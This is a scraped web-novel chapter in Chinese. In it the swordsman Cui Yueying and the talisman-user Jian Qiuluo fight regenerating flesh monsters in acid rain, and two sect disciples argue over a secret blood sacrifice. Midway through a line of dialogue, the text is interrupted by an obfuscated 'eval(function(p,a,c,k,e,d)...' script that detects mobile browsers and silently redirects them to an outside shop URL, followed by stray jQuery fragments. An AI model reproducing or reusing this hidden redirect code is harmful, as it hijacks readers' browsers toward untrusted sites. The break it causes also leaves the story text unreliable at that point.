文趣网 > 其他小说 > 执剑拈符才不会哭 > 8. 以折枝当剑 相继又重逢
    酸雨淅淅沥沥,竟激起一层血雾。

    树枝哑然,崔月萤不是怀疑它的身份,是在肯定。想起先前被质问目的时,它很是不甘心,说道。

    “你到底是从哪一步察觉到的?”

    崔月萤冰块脸,一动不动懒得解释。

    而且还用问吗?这不是哪哪想都不对劲。从完成执念成为崔月萤手上的“剑”开始,执念完成的那刻它本该“死”去了,为什么还会有灵识?

    或许那个执念本身就是假的呢?

    至于那个没有明面上出现的“栽树人”……

    崔月萤浅浅呼出口气,陈述事实说:“你要寻的人已经找到了吧。”

    而那个人虽说不是少年了,可也不老。

    怎会是栽树人?

    所以树枝从头到尾都在撒谎。

    崔月萤脑海中一闪而过,菩提寺跪拜时的片刻黑影。

    它们在密谋什么呢?

    答案也不言而喻。

    眼见红雨还在不停落下,可谁都不说话,树枝似乎也坦然了,一切尽在不言中。

    崔月萤眼底一直在笑。

    更何况还有一点,那就是……在他用“借物寻事”这招时,根本没运转出能唤出对方的灵气来。

    合着对方还能出现,全靠命定“缘分”呗。

    他还一直在装不知道,秉着放长线钓大鱼,又结合风眼,一切都指回一个地方。

    崔月萤目光原路远眺,又收回。

    那就是他们刚刚逃离的菩提寺。

    崔月萤哪怕再不愿意回去,也为了出去不得不回。

    而现在,树枝的作用之一就是与“那个人”对峙了。

    而另一个作用也不言而喻。

    既然这么喜欢剑,那自己当剑不就好了。

    这树枝可真笨啊。

    剪秋萝那把密剑,还是少用为好,而他还没用过树枝抽“人”呢。

    他抬头沿着石阶尽头看,直盯背对光的一坨肉团,酸雨击打在它们身上冒出一个又一个血泡,又化水流落,不停发出咕噜咕噜噗噗声。

    接着,从崔月萤旁侧又有一两个肉团张牙舞爪冒出,细长的、一团的、又小的血肉黏糊在一起,多种多样唯独看不到差不多人样的。

    他又往山下一跳望,又是三两成群,向他们抽搐走来。

    道路蜿蜒盘旋,周围又是近乎垂直的高耸丛林。

    “太奇怪了,这些不知名物的东西应该是干尸才对。”树枝回想起来,啧啧有声,“这酸雨不仅仅是种病毒,更能唤醒蛹里的死尸。”

    也亏它还有心情说话。

    崔月萤眼中浮现出山上山下无数成群的蛹,此时正在雨声凄切声下不断涌出,他们被夹击了。

    崔月萤指腹发白,紧握树枝。特别是听它一副看好戏的高调声音,他轻笑。

    引他们来这的人是谁,是树枝啊。

    他将怀里的剪秋萝往身间一带。

    他再次睁开眼,狐眼一开,弱点尽显。

    在绝对的实力面前,阴谋诡计都是废纸一张。

    树枝内心一紧。

    崔月萤见那肉团行走,“脚”都要掉了,可哪怕只留一根线那么细,也能牢固住,还能黏一起重新愈合起来。

    在细雨的滋养下,还能长出嫩芽一样的软白肉。

    眼见那瘸腿肉块要扑面而来,一挥枝,“啪!”的一声,树枝直陷入那肉涌里。

    再拿出纸条一甩,血沫在空气中挥洒出一条优美弧线。

    树枝高声狂吼道:“你!咕噜噜干嘛!!呕!”

    崔月萤美其名曰:“物尽其用。”

    “簌——”的一声急快,也是又一挥动树枝,崔月萤再次击倒一坨肉。

    然其只是暂时的,能将肉团击灭不动,等酸雨一淋,两个肉块互相吸引,又合体了!

    此时,剪秋萝眼前血气漫天,听到梦中刺进她心间的,崔月萤的问话——“你在担忧什么吗”。

    彻底从梦境中苏醒,醒后脑子不甚清醒,还喃喃自语了一句崔哥哥。

    又说刚才的梦对她来说算是噩梦,现在看四周的混乱血腥场景,她还是觉得自己应该多晕会儿!

    不过,她也不是才醒,睁眼前迷迷糊糊间,也听到点崔月萤他们的对话。

    而她已思考出对策,听符咒外的世界落雨渐大,石灯压雪融化,她离开崔月萤怀抱,手捏一张“避雨符”,快速往里注入一丝灵力,符文亮闪间——

    她二指一抬,操控灵符向肉团飞去——

    既然攻击没有用的的,就探寻本源吧!

    肉团见淋不到雨,浮起的手顿在半空,动作缓慢如机械般卡顿住。

    剪秋萝眼里闪过一抹亮色,欣喜之余却见对方脚下有血水,那触碰的肉还要挪动,肉块分离。

    她忍不住吐槽:“这真是腊肉成精了。”

    一横枝掠目,崔月萤刺枝,击退她身后的肉块,血溅落几滴在自己脸上,又被发上湿水顷刻重刷干净。

    剪秋萝一瞥他惊叹在心,对方嘴角平平,她心急火燎。

    霎时瓢泼大雨,她现在才发觉自己离开对方怀中后,崔月萤身侧没有了避雨符的加持。

    她不可置信,双手抓住对方的肩膀颤抖。

    剪秋萝回想起自己被酸雨侵蚀时,痛苦难耐抓心挠肺的场景,她似乎要断气了,急快说道:“你不要命了吗!”

    “我没事,等安全了再说。”他声音微弱而斩钉截铁。

    伴随他的目光转移与侧头,视线落在剪秋萝抓自己衣领的手上,剪秋萝错开目光,犹豫一瞬即刻收回手。

    她手上是干燥的,闷声说:“我这张避雨符灵气注入比较多……手上也有灵气护着,不会有事的。”

    又细看崔月萤那块抓痕褶皱处,竟干了在冒白气。

    她啧了一声,还是向他靠近,不过向他瞪上一眼,一看崔月萤一双眼睛微眯,瞳仁竖立,在阳光下还闪光,是异样的锈红赤光。

    她没立马察觉不对劲,崔月萤用力拉住她向石阶侧边的乱石台走去。

    路面坚硬湿滑,她不敢有丝毫放松或出神。

    两人加快脚步下山,偏偏此时好巧不巧又和熟人碰面了。

    “师弟你先别动!”

    京霜落一手吃力捂着沉重的肚子,一手提剑挥杀肉团,嘴上还要提醒对方注意安全。

    两人头顶有把悬空翠绿木伞,散发莹莹幽光。

    剪秋萝捂住嘴不语,她现在对生人实在是不敢靠近,有种谁都想要她小命的感觉。

    幸好有崔月萤在她身侧,她心中缓起一丝慰藉。

    “这都怪你,为什么一定要挑辰间出来!”他额间碎发粘腻在一块,也不知是雨还是汗,“这些怪物要进食你也不是不知道!”

    “我令你跟我走了吗?”京霜落平静的语气里夹杂着不快,砍起怪物来动作麻利也更添嗜血。

    蒋秋空被问住,靠意念遥控撑伞的神思一断,伞差点掉落。

    而此时已有几滴血水落在她眉间,她冷笑一声,虽然靠自己灵核护体,这几点红雨滴不算什么,可一瞬间眉毛处还是被灼伤了。

    她木然蹙眉:“说,为何不说了?”

    “先回去吧!”蒋秋空撇开话题。

    “回去,回哪去?”京霜落垂眉呢喃,一往下看就是直接隆起来的肚子,瞳孔一缩,颤栗一下。

    她忍不住了:“你不说我替你说!”

    “十二个人,十二个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845633|211732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方位,不就还差我肚子里这个吗?”

    剪秋萝伏在一石山后,眼皮突突跳,心里感叹眼前两人的精神状态:“这师弟还曾说出,师姐她我有些许放心不下的话,看二人一点默契没有,莫不是师弟一人单箭头?”

    虽然是一边看打斗戏和斗嘴吧,然后坐收渔翁之利,但脚蹲久了实在发麻,微微靠后挪了挪身,谁想后面那人靠她那么近,热气喷洒在她耳边,让她呼吸一滞。

    剪秋萝假装整理耳间碎发,不会儿热气消失了,她好舒了口气,继续看表演了。

    蒋秋空胸口剧烈起伏。

    他铿锵有力道:“我们什么都不算,你应该知道。宗门门规我抄得比你多。”

    “我肯定明白,但你为什么要告诉他们我们是荆清门的人?”京霜落灵惊一问,又咄咄逼人道,“你源于什么动机,又是什么意思呢?”

    他是觉得那两人能比他们先出去,好派人来救他们吗?

    还是真无意一说,可出任务间,凡是荆清门人以外的人不可告诉其身份,他一会儿说自己清楚门规,又一会儿犯规,他怎么可以这么自相矛盾!

    两人一路携手三年,竟要在此关键时刻被破军入城门了吗……

    京霜落感慨人事无常,可手上挥剑招式凌厉无比,一次次血溅当场,她开始回想。

    “靠陆卿悠卜卦,选择对应方位生肖属性的人,又设下掩盖镇子的阵法,他们尽量不引无辜之人进来,只差最后一个属马的人了,就可以开启血祭出去了……”

    京霜落回想起那两人少年稚嫩的脸庞,姜愉欢虽也是属马,可那是陆卿悠的人自然不能动。

    而那个人,三年时间迟迟未来,京霜落才出此下招。多么可笑啊,名门正派,也会为了活下去做些下流事。

    “不回话是什么意思?”

    蒋秋空看她真要问出个所以然来,他想收回撑在她头顶上方的伞了,并狠狠揍她一顿,可也只是闻言良久立,随着对方的动作移动撑伞罢了。

    他心里所有的猜忌愤怒,全映照出一张愠色脸,面上淡淡道:“师姐,你在怕什么吗?”

    “他们又出不去的……”

    “你什么意思?”她捂着肚子的手一颤,这次轮到她问了,而那肚子里的孩子,她自己都想把它掏出来。

    她每每恶心,恶心自己突然变成了一个“长了肿瘤”的人,这个孩子把她从天上拉到地下。

    这特别是因为……荆清门不可男女苟合。

    两人都犯门规了,还是会被驱逐出师门的禁令。

    京霜落说:“你想想陆卿悠,我更是不可能留着这个恶种。”

    “当然不可能留着这个恶种。”蒋秋空不易察觉一笑,“放心,师姐,你相信我这一次行吗?”

    “从小到大你做什么我都依你,今天你也让着我这一次吧。”

    “至于陆卿悠,她犯下的错误是自己太过招摇。”

    “而我们一定能出去的。”他嘴角笑得抽动。

    “一天一天一天,这话你每天都在说,进来的每个人也都在说。”

    蒋秋空眼睛里浮现血丝。

    “没事的师姐,你歇着吧……”

    话还没说,崔月萤踢飞身后的肉块,冒出头来。

    先是蒋秋空一记眼刀扫去,看见“熟人”又目光“柔和”下来。

    京霜落也同样警觉,抬头望向她们:“是你们!可你们不应该呆在菩提寺里面吗?”

    “啊……”剪秋萝看这细雨朦胧,“寺里面有点热,出来透透气,哈哈呵呵……”

    京霜落眉下一沉,杀肉团的动作不停,稍微仔细瞧了瞧她俩身上浮现的气罩。

    “这雨有腐蚀作用,你们竟然……没有事吗?”